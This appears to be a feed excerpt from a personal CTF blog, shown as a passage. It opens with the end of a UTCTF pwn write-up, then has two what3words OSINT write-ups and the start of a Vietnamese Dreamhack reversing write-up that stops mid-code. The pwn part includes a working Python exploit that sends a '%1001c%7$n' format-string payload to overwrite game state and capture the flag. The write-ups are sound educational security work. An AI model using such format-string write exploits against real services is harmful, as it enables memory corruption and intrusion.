<span class="k">def</span> <span class="nf">recv_some</span><span class="p">(</span><span class="n">sock</span><span class="p">:</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">,</span> <span class="n">rounds</span><span class="p">:</span> <span class="nb">int</span> <span class="o">=</span> <span class="mi">8</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="n">out</span> <span class="o">=</span> <span class="s">""</span>
    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">rounds</span><span class="p">):</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">data</span> <span class="o">=</span> <span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span>
        <span class="k">except</span> <span class="p">(</span><span class="nb">TimeoutError</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">timeout</span><span class="p">):</span>
            <span class="k">break</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
            <span class="k">break</span>
        <span class="n">out</span> <span class="o">+=</span> <span class="n">data</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s">"replace"</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">out</span>


<span class="k">def</span> <span class="nf">main</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
    <span class="c1"># Vulnerability: server does printf(name) directly.
</span>    <span class="c1"># %1001c prints 1001 chars, then %7$n writes 1001 into the integer pointer at arg #7.
</span>    <span class="c1"># In this binary, arg #7 maps to your chip counter.
</span>    <span class="n">payload</span> <span class="o">=</span> <span class="s">"%1001c%7$n"</span>

    <span class="k">with</span> <span class="n">socket</span><span class="p">.</span><span class="n">create_connection</span><span class="p">((</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">),</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">8</span><span class="p">)</span> <span class="k">as</span> <span class="n">sock</span><span class="p">:</span>
        <span class="n">sock</span><span class="p">.</span><span class="n">settimeout</span><span class="p">(</span><span class="mf">1.2</span><span class="p">)</span>

        <span class="n">banner</span> <span class="o">=</span> <span class="n">recv_some</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">rounds</span><span class="o">=</span><span class="mi">4</span><span class="p">)</span>
        <span class="k">if</span> <span class="s">"Enter your name:"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">banner</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="s">"[-] Unexpected banner, cannot continue"</span><span class="p">)</span>
            <span class="k">return</span> <span class="mi">1</span>

        <span class="n">sock</span><span class="p">.</span><span class="n">sendall</span><span class="p">((</span><span class="n">payload</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>
        <span class="n">text</span> <span class="o">=</span> <span class="n">banner</span> <span class="o">+</span> <span class="n">recv_some</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">rounds</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>

        <span class="n">m</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s">"Your chips:\s*(\d+)\s*\|\s*Dealer chips:\s*(\d+)"</span><span class="p">,</span> <span class="n">text</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">m</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Chip state after payload: you=</span><span class="si">{</span><span class="n">m</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="si">}</span><span class="s"> dealer=</span><span class="si">{</span><span class="n">m</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

        <span class="c1"># Exit cleanly; service prints final result path, including flag when threshold is met.
</span>        <span class="n">sock</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="sa">b</span><span class="s">"n</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
        <span class="n">text</span> <span class="o">+=</span> <span class="n">recv_some</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">rounds</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>

        <span class="n">fm</span> <span class="o">=</span> <span class="n">FLAG_RE</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="n">text</span><span class="p">)</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">fm</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="s">"[-] Flag not found. Tail output:"</span><span class="p">)</span>
            <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">text</span><span class="p">.</span><span class="n">splitlines</span><span class="p">()[</span><span class="o">-</span><span class="mi">20</span><span class="p">:]))</span>
            <span class="k">return</span> <span class="mi">1</span>

        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] FLAG: </span><span class="si">{</span><span class="n">fm</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="mi">0</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="k">raise</span> <span class="nb">SystemExit</span><span class="p">(</span><span class="n">main</span><span class="p">())</span>
</code></pre></div></div>

<p>Run result:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 exploit.py
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Chip state after payload: <span class="nv">you</span><span class="o">=</span>1001 <span class="nv">dealer</span><span class="o">=</span>500
<span class="o">[</span>+] FLAG: utflag<span class="o">{</span>counting_chars_not_cards<span class="o">}</span>
</code></pre></div></div>

<h2 id="technical-summary">Technical Summary</h2>

<h3 id="techniques-used">Techniques Used</h3>
<ul>
  <li>Black-box protocol reverse engineering</li>
  <li>Format string triad (<code class="language-plaintext highlighter-rouge">%p</code>, <code class="language-plaintext highlighter-rouge">%s</code>, <code class="language-plaintext highlighter-rouge">%n</code>)</li>
  <li>Positional argument mapping</li>
  <li>Deterministic state overwrite for win-gate bypass</li>
</ul>

<h3 id="vulnerability-classification">Vulnerability Classification</h3>
<ul>
  <li>CWE-134: Uncontrolled Format String</li>
  <li>Impact: arbitrary memory read/write in process context</li>
</ul>

<h3 id="lessons-learned">Lessons Learned</h3>
<ul>
  <li>In interactive game services, always test pre-game user fields first.</li>
  <li>If a challenge hints “more than one way to win”, exploit path likely bypasses intended game logic.</li>
  <li><code class="language-plaintext highlighter-rouge">%n</code> often turns a simple leak into complete game-state control.</li>
</ul>

<h2 id="challenge-source-code">Challenge Source Code</h2>

<p>Challenge’s Github Repository: <a href="https://github.com/UITxWoodyNguyen/CTF/tree/main/UTCTF-2026/pwn/small-blind">small_blind</a></p>]]></content><author><name>Woodie</name></author><category term="CTF" /><category term="Tournament" /><category term="UTCTF" /><category term="pwn" /><summary type="html"><![CDATA[No Description]]></summary></entry><entry><title type="html">W3W2 - UTCTF 2026 write up</title><link href="https://uitxwoodynguyen.github.io/myblog/2026/03/17/w3w2/" rel="alternate" type="text/html" title="W3W2 - UTCTF 2026 write up" /><published>2026-03-17T00:00:00+00:00</published><updated>2026-03-17T00:00:00+00:00</updated><id>https://uitxwoodynguyen.github.io/myblog/2026/03/17/w3w2</id><content type="html" xml:base="https://uitxwoodynguyen.github.io/myblog/2026/03/17/w3w2/"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p>The three words I would use to describe this location are…</p>

<p>Flag format: utflag{word1.word2.word3}</p>

<h2 id="osint-path">Osint Path</h2>
<p>Based on the challenge description, we predicted our task is to correctly figure out where the picture was taken, then find that location on https://what3words.com/</p>

<p>First, take a look at the picture:</p>

<p><img src="https://www.notion.so/image/attachment%3Af09716e1-5df6-4a14-a28c-a19238a41367%3AW3W2.jpg?table=block&amp;id=3261b638-5371-8072-b6b7-ff612417b5ce&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1410&amp;userId=&amp;cache=v2" alt="Pic 1" /></p>

<p>– From the picture, this is a <strong>Merchandise &amp; Gift Shop</strong> and the photographer stood in front of the shop to take the photo.
– Behind the shop, there are many trees and some electric poles.</p>

<p>Searching “Merchandise and Gift Shop” on Google Maps, we found this place:</p>

<p><img src="https://www.notion.so/image/attachment%3A254ebf8f-7155-4eb3-91b0-000975635f79%3Aimage.png?table=block&amp;id=3261b638-5371-809f-afae-e28baff78874&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=770&amp;userId=&amp;cache=v2" alt="map" /></p>

<p>Clicking the location we found, it matches the shop in the picture:</p>

<p><img src="https://www.notion.so/image/attachment%3A1f348dd3-e02a-4256-8604-1738b835dc42%3Aimage.png?table=block&amp;id=3261b638-5371-80c1-a6a8-f040a0651d91&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=750&amp;userId=&amp;cache=v2" alt="found" /></p>

<p>Opening https://what3words.com/ and locating the shop, based on the picture we predicted this is the zone to search:</p>

<p><img src="https://www.notion.so/image/attachment%3A5e229860-8614-4416-838d-1423f1356d40%3Aimage.png?table=block&amp;id=3261b638-5371-8000-9319-f371a70473c3&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1220&amp;userId=&amp;cache=v2" alt="zone" /></p>

<p>Brute-forcing all locations in the red zone, we found the flag at this point:</p>

<p><img src="https://www.notion.so/image/attachment%3A58f30afb-2dfb-4927-b9e7-9f86723dc414%3Aimage.png?table=block&amp;id=3261b638-5371-8001-b3ee-f2ddeba5d3b5&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1410&amp;userId=&amp;cache=v2" alt="flag" /></p>]]></content><author><name>Woodie</name></author><category term="CTF" /><category term="Tournament" /><category term="UTCTF" /><category term="OSINT" /><summary type="html"><![CDATA[No Description]]></summary></entry><entry><title type="html">W3W3 - UTCTF 2026 write up</title><link href="https://uitxwoodynguyen.github.io/myblog/2026/03/17/w3w3/" rel="alternate" type="text/html" title="W3W3 - UTCTF 2026 write up" /><published>2026-03-17T00:00:00+00:00</published><updated>2026-03-17T00:00:00+00:00</updated><id>https://uitxwoodynguyen.github.io/myblog/2026/03/17/w3w3</id><content type="html" xml:base="https://uitxwoodynguyen.github.io/myblog/2026/03/17/w3w3/"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p>The three words I would use to describe this location are…</p>

<p>Flag format: utflag{word1.word2.word3}</p>

<h2 id="osint-path">Osint Path</h2>
<p>Based on the challenge description, we needed to identify where the picture was taken and locate it on https://what3words.com/.</p>

<p>First, look at the picture:</p>

<p><img src="https://www.notion.so/image/attachment%3A03a04d79-d474-42bf-b8c9-922504818fe3%3AW3W3.jpg?table=block&amp;id=3261b638-5371-80e5-bcfc-e03d475809d6&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1420&amp;userId=&amp;cache=v2" alt="Pic" /></p>

<ul>
  <li>The image shows inverted writing reflected on the water’s surface; this appears to be a park or greenspace.</li>
  <li>
    <p>By reversing the characters in the image, I found a name starting with <strong>“AGUAS DE LIND…“</strong>. Searching Google revealed the full name <strong>“Águas de Lindoia”</strong> — São Paulo, Brazil:</p>

    <p><img src="https://www.notion.so/image/attachment%3Abc1e2772-6e39-4830-b0ea-8f031a413e4e%3Aimage.png?table=block&amp;id=3261b638-5371-80d8-af4d-db0d63e5c462&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1420&amp;userId=&amp;cache=v2" alt="Found" /></p>
  </li>
  <li>
    <p>The Pictures tab contains an image that exactly matches the symbol in the challenge photo:</p>

    <p><img src="https://www.notion.so/image/attachment%3A88eac1e6-aae6-4a1d-ba37-81a5acd6dd21%3Aimage.png?table=block&amp;id=3261b638-5371-80d4-bf40-ef2090edc7bb&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1420&amp;userId=&amp;cache=v2" alt="Pic-1" /></p>

    <p><img src="https://thumbs.dreamstime.com/b/ademar-de-barro-square-city-aguas-lindoia-sp-brazil-pra-barros-no-centro-das-guas-da-cidade-lind-ia-com-um-lago-335664985.jpg?w=992" alt="Correctly" /></p>
  </li>
  <li>
    <p>Looking closely, I identified several important points:</p>

    <ul>
      <li>The symbol is placed on the lake bank, not on an island.</li>
      <li>In the background, there appears to be a hill and some buildings that look like a resort.</li>
      <li>The challenge photo may have been taken from the opposite side of the lake bank from the symbol’s location.</li>
    </ul>
  </li>
</ul>

<p>Next, I used Gemini to list resorts in Águas de Lindoia and found a resort named “Hotel Monte Real”:</p>

<p><img src="https://www.notion.so/image/attachment%3A2712aaf6-42d6-408d-a888-8fb582e5e11a%3Aimage.png?table=block&amp;id=3261b638-5371-806c-8cb5-dd3f75eb7cbe&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1420&amp;userId=&amp;cache=v2" alt="gemini" /></p>

<p>Checking this result on Google Maps, I found the resort has a large lake, which matches our information:</p>

<p><img src="https://www.notion.so/image/attachment%3Afef91291-966d-4d8d-b9be-43bf123f1104%3Aimage.png?table=block&amp;id=3261b638-5371-8014-a8af-fbc354afb210&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1420&amp;userId=&amp;cache=v2" alt="resort" /></p>

<p>Based on the image, I predicted the symbol is in the red zone and the photographer’s position is in the green zone:</p>

<p><img src="https://www.notion.so/image/attachment%3Ac53d4a9b-07df-4c9b-bf63-7858964b15a1%3Aimage.png?table=block&amp;id=3261b638-5371-8069-b7f7-c33365fc2b8b&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1420&amp;userId=&amp;cache=v2" alt="zone" /></p>

<p>I used https://what3words.com/ to systematically check locations along the lake bank in the green zone and found the flag at this location:</p>

<p><img src="https://www.notion.so/image/attachment%3A4e9ab3c0-edd7-4a8a-94cd-8631a60fdcd3%3Aimage.png?table=block&amp;id=3261b638-5371-80dc-9e56-c309409607c9&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1420&amp;userId=&amp;cache=v2" alt="flag" /></p>]]></content><author><name>Woodie</name></author><category term="CTF" /><category term="Tournament" /><category term="UTCTF" /><category term="OSINT" /><summary type="html"><![CDATA[No Description]]></summary></entry><entry><title type="html">Vernichtet - Dreamhack Wargame Write up</title><link href="https://uitxwoodynguyen.github.io/myblog/2026/03/05/Dreamhack-vernichtet/" rel="alternate" type="text/html" title="Vernichtet - Dreamhack Wargame Write up" /><published>2026-03-05T00:00:00+00:00</published><updated>2026-03-05T00:00:00+00:00</updated><id>https://uitxwoodynguyen.github.io/myblog/2026/03/05/Dreamhack-vernichtet</id><content type="html" xml:base="https://uitxwoodynguyen.github.io/myblog/2026/03/05/Dreamhack-vernichtet/"><![CDATA[<blockquote>
  <p>Problem Link: https://dreamhack.io/wargame/challenges/2343</p>
</blockquote>

<h2 id="analyzing">Analyzing</h2>
<h3 id="phân-tích-hành-vi-từ-file-gốc">Phân tích hành vi từ file gốc</h3>
<ul>
  <li>Đề cho một file binary và nhiệm vụ của user là tìm Snake Path trên ma trận 15x15. Kiểm tra bằng command <code class="language-plaintext highlighter-rouge">file</code>, ta nhận thấy đây là một file ELF 64-bit đã được strip. Chạy thử để phân tích hành vi của file, ta có được kết quả sau:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">$ </span>./main
  Usage ./main &lt;answer file&gt;
</code></pre></div>    </div>
  </li>
  <li>Điều này có nghĩa ta cần có một file answer để chạy file binary này. Tạo random một file <code class="language-plaintext highlighter-rouge">test.txt</code>, ta có được kết quả như sau:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"test"</span> <span class="o">&gt;</span> test.txt
  <span class="nv">$ </span>./main test.txt
  Wrong answer.
</code></pre></div>    </div>
  </li>
  <li>Sử dụng <code class="language-plaintext highlighter-rouge">ltrace</code> để thu thập thêm thông tin, ta có kết quả sau:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">$ </span>ltrace ./main test.txt
  fopen<span class="o">(</span><span class="s2">"test.txt"</span>, <span class="s2">"rb"</span><span class="o">)</span>                                                                <span class="o">=</span> 0x5aafe9a2e2a0
  fseek<span class="o">(</span>0x5aafe9a2e2a0, 0, 2, 0x77d82851b1a5<span class="o">)</span>                                            <span class="o">=</span> 0
  ftell<span class="o">(</span>0x5aafe9a2e2a0, 0x5aafe9a2e480, 0, 4<span class="o">)</span>                                            <span class="o">=</span> 4 // check file size
  rewind<span class="o">(</span>0x5aafe9a2e2a0, 0, 0, 0<span class="o">)</span>                                                        <span class="o">=</span> 0
  puts<span class="o">(</span><span class="s2">"Wrong answer."</span>Wrong answer.
  <span class="o">)</span>                                                                  <span class="o">=</span> 14
  +++ exited <span class="o">(</span>status 0<span class="o">)</span> +++
</code></pre></div>    </div>
  </li>
  <li>Từ đây, ta nhận xét thấy file binary sẽ thực hiện kiểm tra kích thước file trước khi đọc nội dung.</li>
</ul>

<h3 id="find-out-anti-disassembling">Find out Anti-Disassembling</h3>
<ul>
  <li>Thực hiện decompile file với IDA, ta phát hiện nhiều đoạn mã assembly có dạng như sau:
    <pre><code class="language-asm">  .text:0000000000001271 loc_1271:                               ; CODE XREF: .text:loc_1271↑j
  .text:0000000000001271                 jmp     short near ptr loc_1271+1
  .text:0000000000001271 ; ---------------------------------------------------------------------------
  .text:0000000000001273                 db 0C1h, 0FFh, 0C9h, 48h, 89h
  .text:0000000000001278                 dq 0FC45C7E87Dh, 0FFEB000000F4E900h, 6348FC458BC9FFC1h
  .text:0000000000001290                 dq 48C00148D08948D0h, 48C9FFC1FFEBC201h, 0FFEB00002D7C058Dh
  .text:00000000000012A8                 dq 0EB0204B60FC9FFC1h, 840FC084C9FFC1FFh, 0EBFC458B000000AFh
  .text:00000000000012C0                 dq 48D06348C9FFC1FFh, 48C9FFC1FFEBD089h, 58D48C20148C001h
  .text:00000000000012D8                 dq 204B60F00002D45h, 0C9FFC1FFEBD0B60Fh, 0C1FFEB04E0C1D089h
  .text:00000000000012F0                 dq 458BC689D029C9FFh, 6348C9FFC1FFEBFCh, 0FFC1FFEBD08948D0h
  .text:0000000000001308                 dq 48C20148C00148C9h, 0B60F00002D0A058Dh, 0FC9FFC1FFEB0204h
  .text:0000000000001320                 dq 48D06348F001C0B6h, 0FFEBD00148E8458Bh, 458B30B60FC9FFC1h
  .text:0000000000001338                 dq 48D08948D06348FCh, 58D48C20148C001h, 204B60F00002CD6h
  .text:0000000000001350                 dq 0C63840C9FFC1FFEBh, 0EB00000000B81C74h, 0FFEB26EBC9FFC1FFh
  .text:0000000000001368                 dq 0C9FFC1FFEBC9FFC1h, 4583C9FFC1FFEB90h, 0E0FC7D8101FCh
  .text:0000000000001380                 dq 0B8FFFFFF048E0F00h
  .text:0000000000001388                 db 1, 3 dup(0), 5Dh, 0C3h
  .text:0000000000001388 ; } // starts at 1269
</code></pre>
  </li>
  <li><strong>Nhận xét</strong>: Các đoạn mã này bị làm xáo trộn (ofuscate) với pattern:
    <pre><code class="language-asm">  loc_1271:
  jmp     short near ptr loc_1271+1
  db      0C1h, 0FFh, 0C9h, 48h, 89h
</code></pre>
  </li>
  <li><strong>Nhận xét</strong>:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">jmp short near ptr loc_1271+1</code> = nhảy đến địa chỉ 0x1271 + 1 = 0x1272</li>
      <li>Opcode encoded: <code class="language-plaintext highlighter-rouge">eb ff</code> (<code class="language-plaintext highlighter-rouge">eb</code> = <code class="language-plaintext highlighter-rouge">jmp short</code>, <code class="language-plaintext highlighter-rouge">ff</code> = <code class="language-plaintext highlighter-rouge">offset -1</code> vì -1 tính từ sau instruction = +1 từ đầu)</li>
      <li>Khi CPU nhảy đến <code class="language-plaintext highlighter-rouge">0x1272</code>, nó đọc bytes <code class="language-plaintext highlighter-rouge">ff c1 ff c9</code>:
        <ul>
          <li>ff c1 = inc ecx</li>
          <li>ff c9 = dec ecx</li>
        </ul>
      </li>
      <li>IDA thấy jmp +1 nên hiểu sai flow, dump raw bytes thay vì decode đúng</li>
      <li>Có 3 address trong đoạn mã assembly được decompile từ IDA có pattern này bao gồm <code class="language-plaintext highlighter-rouge">0x1271</code>, <code class="language-plaintext highlighter-rouge">0x139a</code> và <code class="language-plaintext highlighter-rouge">0x1604</code>.</li>
    </ul>
  </li>
  <li>Đây là kĩ thuật <strong>jmp into middle of instruction</strong>. Cụ thể trong case này:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">eb ff</code> = <code class="language-plaintext highlighter-rouge">jmp -1</code> (nhảy vào giữa instruction)</li>
      <li><code class="language-plaintext highlighter-rouge">c1 ff c9</code> = <code class="language-plaintext highlighter-rouge">ror ecx, 0xc9</code> hoặc được hiểu khác tùy context</li>
      <li>Thực tế <code class="language-plaintext highlighter-rouge">ff c1</code> = <code class="language-plaintext highlighter-rouge">inc ecx</code> và <code class="language-plaintext highlighter-rouge">ff c9</code> = <code class="language-plaintext highlighter-rouge">dec ecx</code> (NOP equivalent)</li>
    </ul>
  </li>
  <li>Khi đó <strong>Obfuscation Pattern</strong> trong trường hợp này là <code class="language-plaintext highlighter-rouge">eb ff c1 ff c9</code> (5 bytes)</li>
</ul>

<h3 id="create-deobfuscate-binary-file">Create Deobfuscate Binary file</h3>
<ul>
  <li>Từ Obfuscation Pattern tìm được ở trên, ta thực hiện patch tất cả các pattern thành NOP (<code class="language-plaintext highlighter-rouge">90, 90, 90, 90, 90</code>). Script cụ thể:
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c1">#!/usr/bin/env python3
</span>  <span class="c1"># deobfuscate.py - Patch anti-disassembly patterns
</span>
  <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'main'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
      <span class="n">data</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">())</span>

  <span class="c1"># Pattern: eb ff c1 ff c9
</span>  <span class="c1"># - eb ff    = jmp short $-1 (nhảy vào byte ff)
</span>  <span class="c1"># - ff c1    = inc ecx
</span>  <span class="c1"># - ff c9    = dec ecx
</span>  <span class="c1"># Thực tế chỉ là NOP vì inc rồi dec lại
</span>  <span class="n">pattern</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">])</span>
  <span class="n">nops</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="mh">0x90</span><span class="p">,</span> <span class="mh">0x90</span><span class="p">,</span> <span class="mh">0x90</span><span class="p">,</span> <span class="mh">0x90</span><span class="p">,</span> <span class="mh">0x90</span><span class="p">])</span>

  <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
  <span class="n">count</span> <span class="o">=</span> <span class="mi">0</span>
  <span class="k">while</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">-</span> <span class="mi">4</span><span class="p">:</span>
      <span class="k">if</span> <span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">5</span><span class="p">]</span> <span class="o">==</span> <span class="n">pattern</span><span class="p">:</span>
          <span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">5</span><span class="p">]</span> <span class="o">=</span> <span class="n">nops</span>
          <span class="n">count</span> <span class="o">+=</span> <span class="mi">1</span>
          <span class="n">i</span> <span class="o">+=</span> <span class="mi">5</span>
      <span class="k">else</span><span class="p">:</span>
          <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>

  <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Patched </span><span class="si">{</span><span class="n">count</span><span class="si">}</span><span class="s"> patterns"</span><span class="p">)</span>

  <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'main_deobf'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
      <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>

  <span class="k">print</span><span class="p">(</span><span class="s">"Written main_deobf"</span><span class="p">)</span>
</code></pre></div>    </div>
  </li>
  <li>Sau khi tạo xong file Deobfuscation, thực hiện đối chiếu lại với binary gốc:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span> main main_deobf
  <span class="nt">-rwxrwxrwx</span> 1 nmt nmt 15160 Apr 30  2025 main
  <span class="nt">-rwxrwxrwx</span> 1 nmt nmt 15160 Feb 10 20:02 main_deobf
</code></pre></div>    </div>
  </li>
  <li>Size của 2 file là như nhau, tiếp tục kiểm tra xem file mới có hoạt động hay không:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">$ </span><span class="nb">chmod</span> +x main_deobf
  <span class="nv">$ </span>./main_deobf test.txt
  Wrong answer.   
</code></pre></div>    </div>
  </li>
  <li>File vẫn hoạt động bình thường, tiếp tục kiểm tra difference hex:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">$ </span>xxd main | <span class="nb">head</span> <span class="nt">-100</span> <span class="o">&gt;</span> main.hex
  <span class="nv">$ </span>xxd main_deobf | <span class="nb">head</span> <span class="nt">-100</span> <span class="o">&gt;</span> main_deobf.hex
  <span class="nv">$ </span>diff main.hex main_deobf.hex | <span class="nb">head</span> <span class="nt">-20</span>
</code></pre></div>    </div>
  </li>
  <li>Kết quả trả ra không có difference giữa 2 file, điều đó chứng tỏ file Deobfuscate Binary hoàn toàn đúng.</li>
</ul>

<h3 id="re-disassembly-deobfuscate-binary-file">Re-Disassembly Deobfuscate Binary File</h3>
<ul>
  <li>Sau khi có được Deobfuscate Binary File, thực hiện disassembly lại một lần nữa theo địa chỉ lấy từ IDA. Ta có kết quả như sau:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">main()</code> - <code class="language-plaintext highlighter-rouge">address = 0x15f5</code>:
        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">$ </span>objdump <span class="nt">-d</span> <span class="nt">-M</span> intel main_deobf <span class="o">&gt;</span> main_deobf.asm
  <span class="nv">$ </span>objdump <span class="nt">-d</span> <span class="nt">-M</span> intel main_deobf | <span class="nb">grep</span> <span class="nt">-A200</span> <span class="s2">"15f5:"</span>
  15f5:	f3 0f 1e fa          	endbr64
  15f9:	55                   	push   rbp
  15fa:	48 89 e5             	mov    rbp,rsp
       
  ...
</code></pre></div>        </div>
        <blockquote>
          <p>Read more in <a href="https://github.com/UITxWoodyNguyen/CTF/blob/main/Dreamhack/Vernichtet/main.asm">main.asm</a></p>
        </blockquote>
      </li>
      <li>Hàm Validate 1 - <code class="language-plaintext highlighter-rouge">address = 0x1269</code>:
        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">$ </span>objdump <span class="nt">-d</span> <span class="nt">-M</span> intel main_deobf | <span class="nb">grep</span> <span class="nt">-A100</span> <span class="s2">"1269:"</span>
  1269:	f3 0f 1e fa          	endbr64
  126d:	55                   	push   rbp
  126e:	48 89 e5             	mov    rbp,rsp
        
  ...
</code></pre></div>        </div>
        <blockquote>
          <p>Read more in <a href="https://github.com/UITxWoodyNguyen/CTF/blob/main/Dreamhack/Vernichtet/validate-1.asm">validate-1.asm</a></p>
        </blockquote>
      </li>
      <li>Hàm Validate 2 - <code class="language-plaintext highlighter-rouge">address = 0x138e</code>:
        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">$ </span>objdump <span class="nt">-d</span> <span class="nt">-M</span> intel main_deobf | <span class="nb">grep</span> <span class="nt">-A250</span> <span class="s2">"138e:"</span>
  138e:	f3 0f 1e fa          	endbr64
  1392:	55                   	push   rbp
  1393:	48 89 e5             	mov    rbp,rsp
  1396:	48 89 7d d8          	mov    QWORD PTR <span class="o">[</span>rbp-0x28],rdi
        
  ...
</code></pre></div>        </div>
        <blockquote>
          <p>Read more in <a href="https://github.com/UITxWoodyNguyen/CTF/blob/main/Dreamhack/Vernichtet/validate-2.asm">validate-2.asm</a></p>
        </blockquote>
      </li>
    </ul>
  </li>
  <li>Từ đây, ta có được flow của 3 hàm này như sau:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">main()</code>:
        <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">**</span> <span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
      <span class="kt">FILE</span><span class="o">*</span> <span class="n">fp</span><span class="p">;</span>
